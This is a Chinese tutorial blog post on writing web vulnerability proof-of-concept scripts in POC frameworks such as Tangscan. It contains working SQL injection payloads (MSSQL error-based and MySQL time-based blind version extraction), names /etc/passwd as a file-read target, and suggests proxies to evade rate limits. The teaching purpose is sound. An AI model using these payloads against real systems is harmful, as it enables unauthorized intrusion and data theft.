如何自己动手编写漏洞POC

  • 内容
  • 相关


1 前言

善于编写高质量POC,有助于我们更好地发现和利用漏洞,再结合爬虫探测程序,就可以构建一个比较完善的漏洞利用框架。编写POC的门槛并不是很高,关键还是在于对漏洞本身的理解,只要有兴趣,再加点技巧,你就会发现其实都是套路。

2 什么是POC

2.1 POC概念

POC(Proof of Concept),直译为“概念证明”,百度百科的权威定义如下:

“概念证明是证实发布的漏洞真实性的测试代码”

它可能仅仅只是一小段代码,功能也比较简单,只要能够用来验证某一个或者一类漏洞真实存在即可。

2.2 POC与EXP的区别

很多人容易把这两个概念弄混淆,两者从定义上讲是有区别的:

POC

POC可以看成是一段验证的代码,就像是一个证据,能够证明漏洞的真实性。

EXP

EXP(Exploit):中文直译为“漏洞利用”,简单点讲,就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞,我们可以编写EXP来提取数据库版本信息等。

但是有时两者也不太好区分。我们也可以在POC中加入Exploit的代码,现在很多开源的POC框架其实就是这样做的,比如下面会讲到的几个框架。

3 典型POC框架有哪些

POC框架可以对大量POC进行管理与调度,提供了统一的编程规范与接口,是编写POC很好的帮手。我们只需要按照框架自定义的格式写好POC,然后放在框架中运行即可。目前国内有很多非常优秀框架,这里就介绍其中的几款:

3.1 Pocsuite

Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架,使用Python编写POC。可以提交POC换kb,kb可以用来兑换现金,挣点零花钱还是相当不错的。老司机们可能听过Sebug,那是Seebug的前身,2016年Sebug收购了另一个优秀框架Beebeeto后,更名为Seebug。

github地址:knownsec/Pocsuite

3.2 Tangscan

Tangscan(唐朝扫描器)是wooyun社区的官方框架,使用Python编写POC。可以提交POC换汤圆,参与现金分红。Tangscan社区已经关闭,不知道还会不会开,里面的汤圆还没取出来呢。

github地址:WooYun/TangScan

3.3 Bugscan

Bugscan是四叶草的官方框架,使用Python编写POC。提交POC插件获取rank 奖励,可兑换实物奖励,奖品还是蛮丰富的。

SDK下载地址:img.bugscan.net/bin/sdk

还有其他一些优秀的框架没有介绍到。大家可以选择其中任意一个来使用,都非常不错。当然如果有兴趣,也可以自己写个框架,过程并不复杂。

4 需要准备什么

编写POC需要做一些基础性的工作。

4.1 构建POC框架

可以直接选择上面开源的POC框架,也可以自己写框架。选好框架后,需要熟练掌握框架的代码规范和接口,这些都是编写高质量POC的基础。当然了,这个不是必须的步骤,我们也可以不使用框架而直接编写POC,但是不建议这么做。

4.2 熟悉漏洞详情

不管是自己挖的漏洞,还是公开漏洞,在写POC之前,首先需要把漏洞详情搞清楚。对于一些开源CMS,可以到官网或者github上找到对应版本的源码,搭建模拟环境进行研究;有些不开源的漏洞,可以在网上找一些案例进行黑盒测试,复原漏洞产生过程(别做破坏性试验)。最好再撰写一份属于自己的漏洞分析报告,这样可以加深对漏洞的理解,为编写POC打下更坚实的基础。

4.3 构建漏洞靶场

调试POC最好还是搭建模拟环境,一般可以利用虚拟机或者Docker来实现。不到万不得已,非常不建议大家直接利用互联网上的Web应用来调试POC,以免对目标造成破坏。

4.4 选择编程语言

编写POC,首推语言当然是Python了,原因很简单——好用,Python提供的强大类库可以让我们将主要精力都放在具体漏洞研究上,而不用去纠结诸如如何去实现HTML解析、HTTP发送等辅助功能。常用到的Python库如下:

  • urllib2: 发送HTTP/HTTPS请求
  • requests:更“高级”的urllib2库
  • re:正则表达式
  • random:生成随机数
  • base64:base64编码
  • hashlib:常用来计算md5值
  • time:用来统计访问时间延迟
  • ……

当然语言只是工具载体,并不局限于Python。原则上你想用什么语言都可以,建议首选那种外部条件依赖少、简单好用而且自己也比较熟悉的语言。 

5 需要注意什么

编写POC比较自由,但是想实现一个高质量的POC,就要格外注意代码的规范性。

5.1 降低误报率

尽量选择一些“特殊”的字符串作为判断漏洞的特征值。比如我们编写验证SQL注入漏洞的POC时,就可以充分利用数据库的特性:

MySQL

MySQL内置了md5函数,可以用其来输出某个数字的md5值:
 select md5(1); 

但是固定计算某个数字的md5值,特征还是有点明显,加上随机数:

 #生成随机数 rand_num=random.randint(0,1000) 计算md5 hash_flag=hashlib.md5(str(rand_num)).hexdigest()  #利用注入计算md5 select md5({num}).format(num=rand_num)  

MSSQL

MSSQL在2005版本以后,提供了计算md5值的内置函数:
select sys.fn_varbintohexstr(hashbytes('MD5','1')); 

Oracle

Oracle实现md5比较复杂,可以利用CHR编码:
select CHR(97) || CHR(99) || CHR(120) || CHR(118) || CHR(99) || CHR(98) || CHR(110) from dual 

效果相当于:

select 'acxvcbn' from dual 

也可以结合随机数:

Rand_str = random.sample("1234789acioepLFTQVBUSEus",7) keyword=''.join(Rand_str) value=['CHR('+str(ord(x))+')||' for x in keyword] value=''.join(value).rstrip('||') 

再比如任意文件读取漏洞,在读取系统文件时,要考虑到Windows和Linux的差异性,比如:

  • Windows 读取C:/Windows/System32/drivers/etc/hosts
  • Linux 读取/etc/passwd

其他类型的漏洞也要具体分析,这里不再赘述。

5.2 不要带有破坏性

执行POC不能对目标造成破坏,只要验证漏洞存在就可以了。

5.3 尽可能降低访问频率

比如盲注漏洞利用,需要不断向服务器发包,在编写POC时,应该适当减少发包频率,可以sleep,也可以考虑在自己的POC框架中加入代理资源。

6 POC实例

说了这么多,下面就来实战一把。这里我们就选择Tangscan框架吧,其他的框架格式也差不多。

Tangscan框架POC文档的结构如下:

#! /usr/bin/env python # -*- coding: utf-8 -*- from modules.exploit import TSExploit class TangScan(TSExploit): """  类名必须是TangScan,而且需要继承于TSExploit  """ def __init__(self): super(self.__class__, self).__init__() self.info = { "name": "", # 该POC的名称 "product": "", # 该POC所针对的应用名称, 严格按照 tangscan 主页上的进行填写 "product_version": "", # 应用的版本号 "desc": """  """, # 该POC的描述 "license": self.license.TS, # POC的版权信息 "author": [""], # 编写POC者 "ref": [ {self.ref.url: ""}, # 引用的url {self.ref.wooyun: ""}, # wooyun案例 ], "type": self.type.injection, # 漏洞类型 "severity": self.severity.high, # 漏洞等级 "privileged": False, # 是否需要登录 "disclosure_date": "2014-09-17", # 漏洞公开时间 "create_date": "2014-09-17", # POC 创建时间 } self.register_option({ "url": { # POC 的参数 url "default": "", # 参数的默认值 "required": True, # 参数是否必须 "choices": [], # 参数的可选值 "convert": self.convert.url_field, # 参数的转换函数 "desc": "" # 参数的描述 } }) self.register_result({ "status": False, # POC 的返回状态 "data": { }, # POC 的返回数据 "description": "", # POC 返回对人类良好的信息 "error": "" # POC 执行失败的原因 }) def verify(self): """  验证类型,尽量不触发waf规则  :return:  """ pass def exploit(self): """  攻击类型  :return:  """ pass if __name__ == '__main__': from modules.main import main main(TangScan()) 

有了模板,我们现在需要做的其实就是“填空”。最主要的就是实现verify和exploit两个函数(Tangscan将POC与EXP集合在一起了)。也可以只完成其中一个函数,另外一个做如下处理:

def exploit(self):
        return self.verify() 

下面就选取SQL注入漏洞POC编写的例子,来大概描述下POC编写的一些常用技巧。

SQL注入大致上可以分为非盲注和盲注两大类:

6.1 非盲注类型

非盲注注入也有很多种,比如回显报错、Union查询等。这里编写回显报错注入的POC代码,其他类型的编写技巧比较类似。回显报错注入可以直接从报错信息中读取数据。构造计算md5值的payload作为verify函数,利用SQL提取数据库版本信息的payload作为exploit函数。下面是一个MSSQL报错回显注入的例子:

def verify(self): rand_num=random.randint(0,1000) hash_flag=hashlib.md5(str(rand_num)).hexdigest() payload=("1' and sys.fn_varbintohexstr(hashbytes('MD5', '{num}'))=0 and '1'='1").format(num=rand_num) exp_url="{domain}/xxxx?sql={py}".format(domain=self.option.url,py=payload) try: response = requests.get(url=exp_url, timeout=15, verify=False) except Exception, e: self.result.error = str(e) return if hash_flag not in response.content: self.result.status = False return self.result.status = True self.result.description = "目标 {url} 存在SQL注入漏洞,\n\t测试链接: {eurl}".format( url=self.option.url, eurl=exp_url ) def exploit(self): exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/')) try: response = requests.get(url=exp_url, timeout=15, verify=False) result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I) except Exception, e: self.result.error = str(e) return if len(result) == 0: self.result.status = False return self.result.status = True self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format( url=self.option.url, version=result[0], eurl=exp_url ) 

上面的exploit函数利用’~~~’将版本信息包住,是为了方便利用正则表达式提取,并且在payload中进行了编码处理,这种方式在方便我们提取信息的同时,也起到了降低误报率的作用,在编写POC的过程中经常用到。

6.2 盲注类型

盲注类型也有好几种,比如Boolen盲注、时间延迟注入等。盲注需要不断提交请求,从而获取完整的数据信息。这里以MySQL时间延迟注入类型为例:

def verify(self):
        return self.exploit()

    def exploit(self):
        ver = ""
        ver_len = 0
        exp_url = ("{domain}/xxxx?sql=".format(domain=self.option.url))
        payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)
        l = "1' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))a) AND 'a'='a"
        s = "1' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))a) AND 'a'='a"

        #获取长度
        for x in range(1, 30):
            start = time.time()
            py=l % str(x)
            vulurl=exp_url+py
            try:
                response = requests.get(vulurl,timeout=15, verify=False)
                #限制访问速度
                time.sleep(0.5)
                if response.status_code != 200:
                    self.result.status = False
                    return
            except Exception,e:
                self.result.error = str(e)
                return
            end = time.time()
            if (end - start) >=8:
                ver_len = x
                break

        if ver_len == 0:
            self.result.status = False
            return

        #移位获取数据
        for x in range(1, ver_len+1):
            for payload in payloads:
                start = time.time()
                py= s % (str(x), str(ord(payload)))
                vulurl=exp_url+py
                try:
                    response = requests.get(vulurl, timeout=15, verify=False)
                    #限制请求速率
                    time.sleep(0.5)
                    if response.status_code != 200:
                        self.result.status = False
                        return
                except Exception,e:
                    self.result.error = str(e)
                    return
                end = time.time()
                if (end - start) >=6:
                    ver = ver + payload
        #检查长度
        if len(ver)!=ver_len:
            self.result.status = False
            return
        self.result.status = True
        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为:{db_ver}".format(
            url=self.option.url,
            db_ver=ver
        ) 

上面的exploit函数采用移位方式来获取数据库版本信息,还可以利用二分法等更高效的方法来实现,大家可以尝试编写。

为了防止同一IP地址频繁访问目标URL,代码中通过sleep方式来限制访问速度,更好的方法是构建自己的代理网络,使用代理方式来实现,感兴趣的可以自己研究下,这里不多讲。

7 后记

上面以SQL注入漏洞为例编写了两个比较有代表性的POC样本,其他类型的Web漏洞的编写技巧也有相似之处,以后如果有时间再继续写吧。

参考文献

概念证明_百度百科knownsec/PocsuiteWooYun/TangScanBugScan 插件开发文档 | BugScan 插件开发文档

本文由 搬运工 如何自己动手编写漏洞POC 摘抄,如有侵权请邮件告知。

本文标签:

版权声明:若无特殊注明,本文皆为《鬼少》原创,转载请保留文章出处。

本文链接:如何自己动手编写漏洞POC - http://tv1314.com/post-523.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

00:00 / 00:00
顺序播放